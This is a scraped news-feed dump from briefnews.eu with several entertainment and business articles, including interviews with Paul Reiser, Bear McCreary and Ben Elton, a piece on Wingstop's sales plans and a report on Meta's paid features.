Reiser is also starring in the new sitcom “Reboot,” about the cast of an early 2000s sitcom that is getting rebooted with the original actors. The new series premiered on September 20, 2022, with its first three episodes. /Film’s own Ethan Anderton spoke to Reiser and co-star Rachel Bloom about “Reboot” and asked him about the upcoming “Beverly Hills Cop” film. 

‘He Actually Didn’t Quite Look 23 Anymore’

Reiser was asked about reuniting with Eddie Murphy for the fourth film in a series that has spanned almost four decades. Reiser joked that he tries to “help Eddie out whenever I can and to boost his career. So it’s an honor.” The “Stranger Things” star also had something to say about the fact that Eddie Murphy looks pretty similar to when the first movie premiered, saying, “I was finally glad to see that he actually didn’t quite look 23 anymore. It’s like, a year ago, this f***ing guy looks exactly the same.”

I mean, he’s not wrong. Reiser also reminisced about the amount of time that has passed since the first film. “We were chatting,” Reiser said, “and I remember, I was at his 21st birthday party, which was at Studio 54, or whatever Studio 54 became. And now, we’re in our 60s, even Eddie’s in his 60s. I’m like, ‘That’s a long span. We’ve been doing this a while.'”

Maybe it’s best not to think about how long it’s been since that first film. Reiser even joked about meeting up again and “jarring names out of our brains that have not been uttered for 40 years.”

Did We Learn Nothing From Zoom?

As Reiser was talking, Bloom looked up some pictures that leaked from the set of “Beverly Hills Cop: Axel Foley,” including one of Reiser in sweatpants. When she found them, he said he was glad it was a picture of him walking. “It wasn’t like picking my nose or whatever.” He explained that he was supposed to be driving in the film and was told that no one would see his legs or feet. 

Who among us hasn’t gotten up during a Zoom meeting and forgotten that they were wearing penguin pajamas or something? Stars, they’re just like us! 

Bloom got in on the conversation as well, saying that she’s in a new “Rush Hour” film. She joked, “It hasn’t been announced yet, but I play a gun … boom, boom, boom.” To be fair, if anyone could pull that off, it’s probably Bloom!

“Beverly Hills Cop: Axel Foley” is directed by Mark Molloy with a script from Will Beall. We’ll keep you updated on all the developments. Meanwhile, the first three episodes of “Reboot” are now available to stream on Hulu, with new episodes every Tuesday on the platform.

Read this next: 14 Remakes That Are Better Than The Original

The post Paul Reiser Was Glad to See Eddie Murphy Aged Just a Little Bit While Reuniting for Beverly Hills Cop 4 [Exclusive] appeared first on /Film.

]]> https://briefnews.eu/paul-reiser-was-glad-to-see-eddie-murphy-aged-just-a-little-bit-while-reuniting-for-beverly-hills-cop-4-exclusive/feed/ 0 The Lord Of The Rings: The Rings Of Power’s Bear McCreary On The Power Of Black Speech, Crafting A New Sound For Middle-Earth [Exclusive Interview] https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/ https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/#respond Thu, 15 Sep 2022 11:41:20 +0000 https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/

We’re living in a golden age of fantasy, with “The Lord of the Rings: The Rings of Power” and “House of the Dragon” showing us vastly different yet equally exciting worlds (and “Willow” following close behind). “The Rings of Power” especially is a real gift, a show that manages the impossible by turning J.R.R. Tolkien’s massive legendarium into a cohesive story of corruption and grief in a world before it became tainted by war.

“The Rings of Power” features gorgeous production design, a phenomenal cast, a great adaptation of the lore and mythos, and also a spectacular soundtrack that creates both a direct line of connection between the show and the Peter Jackson movies so they feel part of the same story. But it’s also different enough to make it clear this is a very different age.

Composer Bear McCreary has already given us fantastic scores in major franchises, like “Godzilla,” “Battlestar Galactica,” and more, but his score for “The Rings of Power” is on another level. /Film spoke with McCreary about crafting a new sound for Middle-earth, how Black Speech makes everything more intimidating, thinking of future seasons, and more.

‘I Am Thinking About Essentially 50 Hours’

What was your reaction upon getting the job? And what was your first thought regarding your goal for the sound of the show?

When I came on board, I think I brought with me all the years of being a huge fan of the writings of Tolkien, [as well as] the film adaptations. In many ways that had to color my experience, but I also really needed to score the story at hand and tell the story of these characters and these places. So I tried to balance that, my desire to create something new, and also to write something that could live alongside all this music that was been rolling around inside my head as a fan for my entire life.

The show is already renewed for season 2, how much of the overall story did you know in advance when crafting the score?

I knew a lot because I sat down with the showrunners and I read all the scripts and spoke with them about not only the episodes we’re working on, but the entire series, what the vision is for where the entire show is going to go. So while I initially have been tasked with scoring eight hours of drama. I am thinking about essentially 50 hours. How are these themes that I might write going to evolve over that long run?

And in some cases it’s a little early to get into detailed conversations about that. In other cases, it’s not. When I’m thinking about themes for Elrond, Elendil, Isildur, these are characters that I think all fans have an idea where they’re going to go. So I wanted to write a theme for them, and Sauron as well. Galadriel as well, that could evolve in ways that we all as fans want it to evolve.

That was a challenge, but it was also really fun because I was able to work with this huge expansive canvas, the likes of which come across in a composer’s career very rarely.

‘I Feel Like Deep Down Inside, I Think I Am One Of The Dwarves’

What was the first track or sound that you made once you came on board the show?

I came up with a list of about 15 themes that I needed to write for the first season. It ended up being, I think, even a couple more than that. But I wanted to write in an order that made the most sense to me. I wanted to start easy. Why start with something that was too challenging? What theme would be the easiest for me to wrap my head around? And really, it was the theme for the dwarves in Khazad-dûm. I feel like deep down inside, I think I am one of the dwarves. If I related to any of those cultures, I’m a dwarf deep down inside.And I imagined this churning, mechanical string pattern, and I imagined musicians with anvils clanging them with metal hammers. Then I imagined a choir singing in Khuzdul, a patriotic rousing text. And I knocked that out. And truly the first draft is almost identical to what you heard in episode two.

That was one of those things that did come very naturally to me. I don’t know why, it’s just the way my brain is wired.

On the opposite end, what was the theme you wanted to leave for last?

I think it was Elrond that was the most challenging. Interestingly, it was my fandom of the Peter Jackson films that made it more of a struggle to write a theme for Elrond. Before I took on this show, I think of Elrond, not only with Hugo Weaving’s depiction from the Peter Jackson films, but even from the way he’s written in the original books, as this incredible authority figure. He’s so wise and ancient. He is not to be messed with. He is stern and clear.

And we meet him in “The Rings of Power,” where he’s an optimist, an idealist, a politician, a diplomat. In a way, he’s sort of an orphan. He is not the defining authority figure of Lindon, obviously not. He’s underneath Gil-galad, he’s working with Celebrimbor. He’s very much on his way up through the ranks. And his father and his brother are these incredibly accomplished mythic figures. And he does not have these accomplishments under his belt. What’s that like?

So in a way, I had to let all that other stuff go and focus on who he is in the beginning of the story of “Rings of Power” and create something that was a little more idealistic, and optimistic, and youthful, but a melody that turned around on itself. And it moves from major to minor in such a way that it itself is a little lost. It’s looking for its place. 

And I’m excited to expand upon that theme over the course of the show, as he inevitably rises through those ranks to become more of an authority figure for the elves.

But it wasn’t easy. It definitely took me a minute and a few tries, and JD Payne and Patrick McKay were super helpful in guiding me along those narrative shifts.

‘I’m Creating Something That Is New To Fans That Have Been Watching Adaptations Of Tolkien’

One cool thing about the show is that were seeing places we’ve never seen on the screen before, like Númenor and Valinor. What inspired you in making the sound of those places?

I was really excited at the possibility of exploring familiar sounds, first of all, that we associate with the Peter Jackson films and Howard Shore’s writing. I did not want to unpleasantly surprise anybody. I thought ethereal light vocals for the elves, and deep male vocals for the dwarves, and a subtly Celtic influence for the Harfoots who would become our hobbits. So those were givens.

It was really interesting though, working with colors that are new, in particular Númenor, where there really wasn’t a sound, and there hasn’t really been a sound associated with Númenor. So I was inspired to give Númenor a color that would be different than anything else we’d heard in any Tolkien adaptations in a prominent way.

So I featured a lot of Middle Eastern and Mediterranean colors. There’s an Armenian woodwind instrument called a Duduk that combines with a Turkish string instrument called a tambur. By using these sounds, I’m creating something that is new to fans that have been watching adaptations of Tolkien. And I wanted that feeling when we pull into Númenor of hearing something that is different, that has its own identity because the high men of Númenor and the low men of the Southlands are meant to be very different.

Bringing A Bit Of The Real World Into Middle-Earth

One thing I love about Howard Shore’s score is how he used instruments with a long history. I’m curious if that’s something you brought over to the show.

I always love to use exciting colors from cultural music from around the world in my scores. And indeed, if one were to listen to my work on “Battlestar Galactica” or “Godzilla: King of the Monsters” or “Outlander” or “God of War,” you would hear all kinds of different colors. So this is something I have been researching my entire career. And that research was incredibly helpful in doing “The Lord of the Rings, The Rings of Power.”

Some of these colors are continuous with what Howard Shore did in the films. In the films, when we meet Rohan, the riders of Rohan and that sort of nation, it’s associated with a hardanger fiddle, a Nordic instrument called the hardanger fiddle in those scores.

Sure enough, in “The Rings of Power,” I’m using a hardanger fiddle in combination with another Nordic instrument called a nyckelharpa to represent the southlands, the low men, the men who are not descended from Numenorian ancestry.

So in that way, I’m trying to create something continuous with what Howard Shore did. Howard had a Celtic influence to the Shire and to the hobbits that he really filtered through a British folk music lens. I would not describe the Shire theme as particularly Celtic. It’s really more like British. It feels like British folk music with a little Celtic whistle now and again.

But I leaned into that color, the Celtic side, much more. I’m using Uilleann pipes from Ireland, small Scottish bagpipes from Scotland, a Bodhran, which is a frame drum used in Irish music that has this vocal pitch bendy quality, and Irish penny whistles and tin whistles. It’s almost as if to imply that there’s a more portable, more Celtic, more earthy Celtic color for the Harfoots that will settle down into a more British folk music color thousands of years from now in the Shire.

So they’re not the same. They are different, but they’re continuous. And I loved the idea of being able to use those colors to tell that story.

‘My Biggest Hope Is That It Feels Right’

What is one element from Howard Shore’s score you wanted to keep for the show, and one that you specifically wanted to stray away from or do differently to make clear this is a different story?

I think the thing I wanted to preserve was a sense of continuity. I wanted fans who love the Peter Jackson films, fans like myself, to listen to the music of Khazad-dum, the music of Lindon, the music of Sauron, and to nod their head and say, “Yes, yes, that is correct. That is what I want that to sound like.” And that’s not even a very specific element. It’s a general mood, a general sense of connection that is built from an indescribable number of very specific little musical decisions, ingredients in the cake that are similar.In terms of setting it apart, I want themes that represent our characters as they exist now. I already discussed Elrond as an idealist and a diplomat and a bit of an orphan. Galadriel is driven by a sense of justice, if not a sense of revenge. She is not the calm, wise character she will become. So I wanted to write a theme that had an evocative melody, but really also has a sense of urgency, and drive, and motivation so that we can feel her evolve over the course of our show.

I think the things that are different are very obvious. I mean, it’s the Numenor theme, inevitably it’s different. I am not able to write in someone else’s language. It is my language. So it’s inevitable that it would be different. My biggest hope is that it feels right, and that people fall in love with this depiction of Middle-earth, and that the music is one of the many reasons they go on the journey.

‘There Was A Sense Of Ominous Evil That Came Out Of Those Words’

Something I love about the show is the inclusion of choirs in different languages. Can you talk about including dwarvish, two elvish languages, and bringing it together for the music of the show?

Yeah, it’s pretty exciting to be able to work with the different languages that Tolkien devised for his legendarium. I felt that the score would not be complete if those languages were not integrated into the score. So I worked closely with JD Payne, one of the writers and showrunners, and Leif McPherson, our dialect coach, to make sure that every cue that has choir and features text that is sung in an appropriate language saying an appropriate idea. And Leif created pronunciation guides. She would very slowly and articulately record every syllable so the choir could listen while they were recording, and before they rehearsed they would get all the pronunciation correct. And it was fascinating, the emotional impact that had, because Tolkien was really clever about how he devised his languages. Black Speech has a lot of consonants, has a lot of percussion built into the way it is even said.

So to even say it correctly made it scarier. There’s a cue in the second episode where Bronwyn is running into the town to warn everyone that something terrible is coming. And I wrote the quotation of the Sauron theme there because there’s a threat. There’s something evil coming. And when I heard the recording, it was 10 times more aggressive and scary than I thought it was going to be. And I chimed into the conductor and I said, “What’s happening with the dynamic here? It’s not meant to be super loud.”And then I realized it was the pronunciation, it’s the word itself. And I thought about how in the books and in the movies to speak Black Speech causes the world around you to turn dark. An evil presence happened. And sure enough, that happened in the recording. There was a sense of ominous evil that came out of those words just because you must pronounce the consonants in a very specific way.

That was fascinating. I feel like that was Tolkien’s values and language influencing the score in a very unique and the specific way. And I thought it was just a wonderful opportunity as a composer to get to work with those languages.

“The Lord of the Rings: The Rings of Power” is streaming on Prime Video.

Read this next: 13 Fantasy Shows Like The Lord Of The Rings: The Rings Of Power You Should Check Out

The post The Lord of the Rings: The Rings of Power’s Bear McCreary on the Power of Black Speech, Crafting a New Sound for Middle-earth [Exclusive Interview] appeared first on /Film.

]]> https://briefnews.eu/the-lord-of-the-rings-the-rings-of-powers-bear-mccreary-on-the-power-of-black-speech-crafting-a-new-sound-for-middle-earth-exclusive-interview/feed/ 0 A Little Detail In The Rings Of Power Makes Middle-Earth Feel Even More Real [Exclusive] https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/ https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/#respond Mon, 12 Sep 2022 20:03:31 +0000 https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/

Spoilers follow for “The Lord of the Rings: The Rings of Power.”

Through its epic scope and scale, “The Lord of the Rings: The Rings of Power” achieves never-before-seen cinematic heights on the small screen. A distant relative to Peter Jackson’s original trilogy, the streaming series is not afraid of diving head-first into the source material and exploring a rich fantasy world that spans millenniums. Furthermore, the show is able to take advantage of the mega-sized production budget through its groundbreaking visual effects, costumes, and set designs. Every fantastical element feels grounded in reality thanks to the commitment to detail by the artists behind the scenes. One aspect of the show, in particular, speaks to the care put into the vast history “The Rings of Power” covers in its eight-episode season.

The kingdom of Númenor is already a vital location in “The Rings of Power” for several reasons, but one small detail about their culture puts the dense nature of the series in an entirely new perspective. In the third episode, when Galadriel (Morfydd Clark) and Elendil (Lloyd Owen) arrive at the Hall of Lore located on the Númenor island, scrolls — not bound books — are seen throughout the sequence. The scene does not exactly concern itself with that fact, but the background detail plays an important role in laying out the timeline. According to the production designer, this choice was not only intentional but started as an early idea during the development process.

The Númenorians Were Ahead Of Their Time

For the uninitiated, the Hall of Lore was created by the elves and later kept intact by the previous king — Queen Miriel’s (Cynthia Addai-Robinson) father — Tar-Palantir. He admired the elves and their contributions to Númenor, ensuring the scrolls they left behind were safe from those who despised the race. However, if you look closely at the Hall of Lore, you can see bound books lying around, separate from the bevy of scrolls organized in the room. It implies that bookbinding was not a gift by the elves, and instead a creation by the humans who inhabit Númenor.

/Film’s Vanessa Armstrong interviewed production designer Ramsey Avery, who revealed just how intentional and detailed his work was from the start:

“One of the decisions that I sold the showrunners on early is that elves didn’t have bound books — they didn’t invent book binding. We know that Elrond has books in the Third Age, but that doesn’t mean that they had books in the Second Age. So, I wanted to tell the story that Númenorians invented book binding, and that this storage of older information, everything would have to be scrolls. I looked at a bunch of Tibetan storage, because of the scrolls, and I thought, ‘Wow, that’s really cool because now we can have this whole space that’s filled with scrolls.’“

The creative detail exemplifies how the kingdom of Númenor continued to advance despite its isolation from Middle-earth. Moreover, “The Rings of Power” confirms that despite the vast intelligence the elves have to offer, they still have not evolved very much in that regard.

The Elves Are Still Behind

In the second episode, Elrond (Robert Aramayo) visits Celebrimbor (Charles Edwards) in his workplace to discuss plans to create a very powerful forge. The place is covered in loose scrolls, with not a single bound book in sight. The elves have books by the Third Age, as seen in the original trilogy, but they are still rolling up wrinkly pieces of paper in “The Rings of Power” (get dunked on by humans, elves).

The attention to continuity is impressive even by “The Lord of the Rings” standards, but the real showstopper is the intention to tell a story even in the minute details. Narrative drives every creative decision in the streaming series, and showing the difference between elves and humans in such a simple manner may be one of their brightest. As long as “The Lord of the Rings: The Rings of Power” continues to impress, I’d argue the series will stand the test of time as a passionate exploration of J.R.R. Tolkien’s work worthy of the title.

Read this next: The Best Easter Eggs In The Lord Of The Rings: The Rings Of Power Episodes 1 And 2

The post A Little Detail In The Rings of Power Makes Middle-earth Feel Even More Real [Exclusive] appeared first on /Film.

]]> https://briefnews.eu/a-little-detail-in-the-rings-of-power-makes-middle-earth-feel-even-more-real-exclusive/feed/ 0 How the CEO of Wingstop plans to boost sales by dropping DoorDash as an exclusive delivery partner and finally entering the chicken sandwich wars https://briefnews.eu/how-the-ceo-of-wingstop-plans-to-boost-sales-by-dropping-doordash-as-an-exclusive-delivery-partner-and-finally-entering-the-chicken-sandwich-wars/ https://briefnews.eu/how-the-ceo-of-wingstop-plans-to-boost-sales-by-dropping-doordash-as-an-exclusive-delivery-partner-and-finally-entering-the-chicken-sandwich-wars/#respond Mon, 05 Sep 2022 23:54:43 +0000 https://briefnews.eu/how-the-ceo-of-wingstop-plans-to-boost-sales-by-dropping-doordash-as-an-exclusive-delivery-partner-and-finally-entering-the-chicken-sandwich-wars/ the 12 new Wingstop chicken sandwiches

Wingstop

  • With guests cutting back on visits, Wingstop's new CEO explains his playbook for boosting sales.  
  • One move is ending an exclusive delivery partnership with DoorDash and adding Uber Eats. 
  • Last week Wingstop also entered the chicken sandwich wars, years after competitors.  

Wingstop was among several tech-savvy restaurant chains that became a pandemic winner, logging more than $ 1 billion in digital sales in 2020. 

But as consumers deal with record inflation this year, many are cutting back on restaurant visits. That's hurting chains like Wingstop, which installed a new chief executive, Michael Skipworth, in March. In its last earnings call in late July, the company said customer visits are down. 

In an interview last week with Insider, Skipworth said he's betting on three plays to reverse that trend – entering the chicken sandwich wars, introducing bundled meal deals, and adding Uber Eats as a new delivery partner. That latter is a significant move as DoorDash has been the chain's exclusive delivery partner for years.

"We have a proven playbook," said Skipworth, who was previously Wingstop's chief operating officer and finance chief.

Skipworth explains his three-pronged approach to increasing sales at Wingstop, which operates more than 1,800 restaurants worldwide. The majority of Wingstop stores are franchised locations in the US.

Now is the right time to enter the chicken sandwich wars

Three years ago, Popeyes introduced a spicy chicken sandwich that broke the internet and launched a war with Chick-fil-A. Other national fast food chains introduced their versions of chicken sandwiches over the course of a year, including Wendy's, Sonic, and KFC. 

Even Taco Bell wanted a piece of the action, launching a chicken sandwich taco in Tennessee and North Carolina in early 2021.

Wingstop didn't move on a chicken sandwich at the time because "we didn't need it," Skipworth said.

Until now.

Last week, the chain rolled out 12 chicken sandwiches offering the same flavors as their wings.

Skipworth said the company rarely adds new items to its menu. Last year, it introduced the delivery-only brand Thighstop, a supply chain hack created to save the brand from soaring chicken wing prices. Before that, he said the previous new menu item the company launched was more than a decade ago when it introduced boneless wings. 

Skipworth said he expects the chicken sandwich to bring "meaningful growth" to the brand because price-conscious consumers will be excited about the value of the new menu item. 

"We felt now is the right time for a chicken sandwich. We were able to leverage our size and scale and negotiate really good pricing with our strategic supplier partners," Skipworth said.

The a la carte price of Wingstop's chicken sandwich is $ 5.49. By comparison, spicy chicken sandwiches cost $ 5.29 at Chick-fil-A and $ 4.49 at Popeyes. The crispy chicken sandwich at Shake Shack cost $ 7.79, according to prices found at those restaurants in Southern California. 

Wingstop expects to reach more delivery consumers with Uber Eats and DoorDash 

DoorDash introduced its white-label delivery platform, DoorDash Drive, in 2016. Fast-casual chains Wingstop and Chipotle were early adopters of the program. 

DoorDash delivers orders made through Wingstop's app or website for a fee.

Skipworth said that Wingstop had used DoorDash as an exclusive delivery partner since at least 2017.  He described the nation's top delivery provider as "an incredible partner for us."

But, with the "challenging backdrop in 2022," Skipworth said this summer was "a good opportunity" to look at adding another delivery operator.

Wingstop chose Uber Eats because, like DoorDash, it has been "really smart about building loyalty" to its platform through subscription services that reach millions of consumers. DoorDash's DashPass, for example, has over 10 million members globally. 

"We knew there was this consumer base out there that we weren't serving today," Skipworth said of Uber Eats. "And we felt this was the right time to pull that lever in and again, bring more guests into Wingstop through the Uber platform."

While there's some overlap between consumers who use DoorDash and Uber Eats, Skipworth said the data shows that both delivery apps serve "two distinct consumer groups."

He said he doesn't expect a "meaningful impact to our existing DoorDash business." 

"While it's only a couple of weeks into the Uber Eats national launch, and without any advertising support, we are encouraged by the early results," Skipworth told investors during a conference call in July. 

By adding Uber Eats, Wingstop joins a fray of chains that have been breaking away from exclusive delivery partnerships to boost delivery sales. McDonald's dropped Uber Eats as an exclusive partner in 2019. During the pandemic, Chipotle added Uber Eats as a delivery partner after working with Postmates and DoorDash. 

Wingstop is leaning into value deals thanks to wing deflation

Wingstop developed the virtual brand, Thighstop, last year to save money on soaring chicken wing prices, which reached $ 3.25 a pound in 2021.

By creating a thigh-focused menu, a part of the bird the company never used, Wingstop saved money by buying whole chickens from suppliers. A year later, the price per pound is now $ 1.15 as demand for chicken wings cools, causing excess inventory and deflation, the CEO said.

That is allowing Wingstop to "lean into" adding value deals to the menu, Skipworth said. One example that is driving traffic is the recently introduced Boneless Meal Deal. The $ 15.99 value meal includes 20 boneless wings and a large fry. 

"We saw a marked improvement in the sales trends during the quarter," Skipworth said.

In 2021, Wingstop recorded its 18th consecutive year of same-store sales growth, a vital indicator of a company's financial health. By adding Uber Eats, leaning into value, and introducing chicken sandwiches, Skipworth said he's got a playbook that "sets the stage for 19 consecutive years of same-store sales growth."

 

Read the original article on Business Insider

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]]> https://briefnews.eu/how-the-ceo-of-wingstop-plans-to-boost-sales-by-dropping-doordash-as-an-exclusive-delivery-partner-and-finally-entering-the-chicken-sandwich-wars/feed/ 0 Facebook, Instagram and WhatsApp could soon have exclusive features for those willing to pay https://briefnews.eu/facebook-instagram-and-whatsapp-could-soon-have-exclusive-features-for-those-willing-to-pay/ https://briefnews.eu/facebook-instagram-and-whatsapp-could-soon-have-exclusive-features-for-those-willing-to-pay/#respond Thu, 01 Sep 2022 01:13:30 +0000 https://briefnews.eu/facebook-instagram-and-whatsapp-could-soon-have-exclusive-features-for-those-willing-to-pay/ Facebook, Instagram and WhatsApp could soon have specialized features available only to users willing to pay for them. Meta is forming a new division called New Monetization Experiences that will be solely focused on paid features for the company’s app, according to a memo reported byThe Verge.

Wile Facebook and Instagram already have a number of paid features that cater to creators, like Stars, paid events and various subscription products, it sounds like the new division at Meta will be separate from those initiatives. (Of note, Meta had pledged not to take a cut of creator earnings until 2023.)

It’s not clear what type of paid features might come out of the effort, but Meta’s VP of monetization John Hegeman told The Verge the company is keeping a close eye on its industry peers. Twitter, Snapchat and Telegram have all recently launched monthly subscriptions that unlock exclusive features and other in-app perks for paid subscribers.

Paid features could help Meta find new sources of non-advertising revenue. The company’s multibillion-dollar advertising business has taken a significant hit of late due to iOS privacy changes and an economic downturn that’s also affected its competitors.

]]> https://briefnews.eu/facebook-instagram-and-whatsapp-could-soon-have-exclusive-features-for-those-willing-to-pay/feed/ 0 The Grand Tour: Richard Hammond shares exclusive update on Scotland special ‘Back on form’ https://briefnews.eu/the-grand-tour-richard-hammond-shares-exclusive-update-on-scotland-special-back-on-form/ https://briefnews.eu/the-grand-tour-richard-hammond-shares-exclusive-update-on-scotland-special-back-on-form/#respond Thu, 28 Jan 2021 05:22:21 +0000 https://briefnews.eu/the-grand-tour-richard-hammond-shares-exclusive-update-on-scotland-special-back-on-form/

He continued: “Then it was a case of finding a show to present together. So we knew we wanted a circumstance in which we’d both be able to use science and engineering to build stuff to make our lives better. 

“And then we thought ‘hang on, if we were to be shipwrecked on a desert island, but then find the ship to build stuff out of, we could build all manner of stuff.’ And then we thought ‘well, let’s take a step even further and make it that sort of hybridised with drama.’” 

Richard did joke fans would have to buy into the premise somewhat: “We are craving people’s indulgence, don’t get me wrong. We are saying ‘Please come with us, we’re being a bit silly, but come and have a laugh,’ and hopefully it’s a bit of an escape. 

“So it is a bit fictionalised. The science is rigorous, the engineering is rigorous. But the storyline we built-in because every build is then motivated. We’re not just doing it to be silly, we’re doing it because there’s a reason in the story as it unfolds. So that was key to it.”

The Great Escapists is available to stream on Amazon Prime Video from Friday, January 29.

The Grand Tour: A Massive Hunt is available to stream on Amazon Prime Video now.

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]]> https://briefnews.eu/the-grand-tour-richard-hammond-shares-exclusive-update-on-scotland-special-back-on-form/feed/ 0 Ben Elton exclusive: ‘It’s a myth you can’t speak freely anymore’ https://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/ https://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/#respond Sat, 01 Feb 2020 14:20:18 +0000 http://briefnews.eu/ben-elton-exclusive-its-a-myth-you-cant-speak-freely-anymore/

Stand-up legend Ben Elton

Stand-up legend Ben Elton (Image: DAVID LEVENE / EYEVINE, BBC)

Although it happens after our meeting, the Stewart-Shakespeare brouhaha seems in keeping with our conversation. 

While concerned at the modern tendency to take offence, the stand-up legend, Shakespeare superfan and Upstart Crow creator strongly believes context is king when it comes to free speech. Unlike many of his generation, Ben, 60, does not think the ability to say what you want has been constrained by what’s now derisively termed “wokeness”. 

He says: “Most stuff that’s ­dismissed as political correctness, I tend to ­support. I think it’s a myth that you can’t say anything anymore. Because you can, you can say anything. 

“Most of the rules are about respecting people. It comes down to good manners. Say whatever you like… but try to say it pleasantly.” 

Related articles

Lightning fast, and often correcting himself mid-stream, or mitigating a more controversial point, he is ­tremendously good company 

And he loves to talk, joking self-deprecatingly at one point: “That was a big waffle, wasn’t it?” 

But while Ben remains sanguine about free speech, his own Shakespeare, brought brilliantly to life by David Mitchell in his critically acclaimed BBC sitcom The Upstart Crow and arriving on stage in the West End next week, is only too aware of its dangers. 

Ben, the creator and writer of iconic shows like The Young Ones and Blackadder, concedes: “These days you can lose your job for the wrong phrase. In Shakespeare’s day, if you offended power, the king or a patron, you lost your head!” 

Many of our current problems, he insists, come from the negative, divisive impact of social media on human interaction and political discourse. 

“When we’re all alone on the internet, our humanity deserts us. We are no longer constrained by that which makes us human which is being a social animal. Context is lost on the internet, and context is everything.” 

He strongly dislikes our habit of mistaking social media for the wider world – taking a couple of angry tweets as proof of outrage on behalf of one group or another. 

“Two people have tweeted their outrage and they’re entitled to that opinion, but they do not represent everybody else who has the same trouser content or sexuality,” he says. “It’s extremely worrisome that we tend to see a single tweet or two as a tidal wave of outrage.” 

WEDDING DAY: Ben with his wife Sophie Gare

WEDDING DAY: Ben with his wife Sophie Gare (Image: Daily Mirror)

While he admits his “soul is very much in the camp of political correctness”, he has taken some creative risks by inventing cod Shakespearian terms that are funny and rude without (hopefully) causing offence. 

“My Shakespeare, although confused, middle-class and middle-aged like me, is clearly somebody whose heart is in the right place,” he laughs. 

“The first time I used the term ‘hugger tugger’ I thought, ‘Am I going to get in trouble?’ I invented it as a comically affectionate – but I ­suppose some people could ask, ‘Is that derogatory?’ – term for gay people. 

“But I know many gay people and I’ve been delighted to hear how much fun’s been had with it.” 

Upstart Crow’s other witty linguistic creations include “arsingmongle”, “bumshank”, “tuffting muffles” and the “cod dangle”. 

Ben, whose recent novel Identity Crisis tackled the current obsession with identity politics, adds quickly that he is using them as a “deeply ­liberal man”, before continuing: “But the fact is all people have humour whatever their sexuality, whatever their gender identity, whatever their race. My experience as a stand-up comic is that we share a sense of humour. That’s how you can have a thousand individuals in a theatre all laughing at the same thing.” 

He is proud of having created an original stage show without stealing from his TV sitcom. 

Following his son Hamnet’s death at the end of series three on TV, Shakespeare is now more reflective, suffering a crisis of confidence in his writing and alienated from his two daughters.

Ben Elton

BE POLITE: Ben Elton’s advice on speaking freely (Image: Mirrorpix)

It’s a perfect set-up for a King Lear take-off and its author has pulled together a deeply satisfying plot with a nod to Othello, Romeo And Juliet and The Comedy Of Errors among others, containing plenty of belly laughs and wise ­contemporary nods. “I might have pinched from Shakespeare, but what I haven’t done is stolen from myself,” beams Ben. “I’ve had to strike a balance between my commitment to a completely original stage play based on the sitcom and maintaining the love people have for it.” 

The TV series was ­written with David Mitchell, 45, in mind as Shakespeare. Ben continues: “When we started to cast it, I said we needed a young David Mitchell, because Shakespeare was about 30 at the time and David was too old. But we realised, in those days, if you lived to 30 you’d be an old man, so let’s have the real David Mitchell. 

“There is an eternal youth about David, that fabulous open face which masks such a fierce intelligence. I wanted his voice and I got his voice and we became instantly very close friends.” 

The actor, who is carrying the role on to the stage, joked this week that doing Crow in theatre is the same, except he’ll “have to talk louder”. 

Sadly, not all the TV cast appear because of the commercial costs of producing a large stage show. So there is no Harry Enfield as Shakespeare’s dad or Liza Tarbuck as his long-suffering wife Anne. 

“It was heartbreaking and I wrote to them all because we were a family and a great team,” says Ben. “But I needed to bring in new characters, too. If people come to see an Upstart Crow play, they won’t see the sitcom rehashed on stage.” 

He remains hopeful the BBC will pick up a fourth series in due course. 

Despite his many triumphs, the writer hasn’t had it all his own way. A 2013 sitcom, The Wright Way, starring David Haig as a hapless health and safety expert, was panned by critics and lasted a mere series.

THE YOUNG ONES CAST: Ade Edmondson, Nigel Planer, Christopher Ryan and Rik Mayal

THE YOUNG ONES CAST: Ade Edmondson, Nigel Planer, Christopher Ryan and Rik Mayal (Image: PA)

“David was utterly brilliant. We thought we had a hit. It was ­massively derided and I still love it but it was a flop, it just didn’t work,” says Ben. 

“It’s thrown at you, ‘Oh you were trying to be funny.’ Well first, ‘Yeah, of course I’m trying to be funny, that’s what I do.’ But also, if anyone has ever liked anything, it’s because I wrote what I wanted to write. 

“Blackadder, Young Ones, Thin Blue Line, Upstart Crow, none of them was designed for an audience, they were designed to best express the comic ambitions of the ­creatives making them.” 

His 77-date stand-up tour last year, his first in 15 years, was described by one critic as a “TED talk with gags”, in a nod to his fiercely intelligent one-man ­debating chamber approach. 

Ben admits: “I did it with great trepidation. When I started, I didn’t know after so long whether I would be any good, or would have anything to say in these confusing times. In fact, I felt more comfortable on stage than ever.” 

Ben has three children and lives between the UK and Australia. His familiar tones have taken on an ever so slight Down Under twang, the result of his 32-year relationship with his Australian wife Sophie. 

He is in good shape physically, too, having made the decision in his late 20s to exercise. 

“I like to eat chips, I love Yorkshire puddings, I love to drink. Of course you have to try to keep an eye on it but I certainly exceed by a very great deal of government units,” he laughs.

WHO’S THE BARD BOY? David Mitchell as William Shakespeare in Upstart Crow

WHO’S THE BARD BOY? David Mitchell as William Shakespeare in Upstart Crow (Image: Handout)

“I decided I didn’t want to give any of that up ever so I started to exercise. For the first four or five years, doing 45 minutes every day was painful beyond belief.” 

Despite his Nineties reputation as a gobby, Left-wing comic, he is far more nuanced than that one-dimensional persona might suggest.

“I lived through the Eighties but those were troubles of a more ­civilised nature. Do we believe in trade unionism or not? Margaret Thatcher didn’t, I did,” he says. 

“I respected Thatcher as a politician of immense personal integrity. I disagreed fervently with almost everything she believed in, but I respected the fact she did believe in it, she was honest about it and she pursued it to the point of risking her own popularity. That is no longer the case with politicians.” 

Sitcoms aside, he hasn’t had his own show on the TV since 1998 when The Ben Elton Show attracted some seven million viewers. 

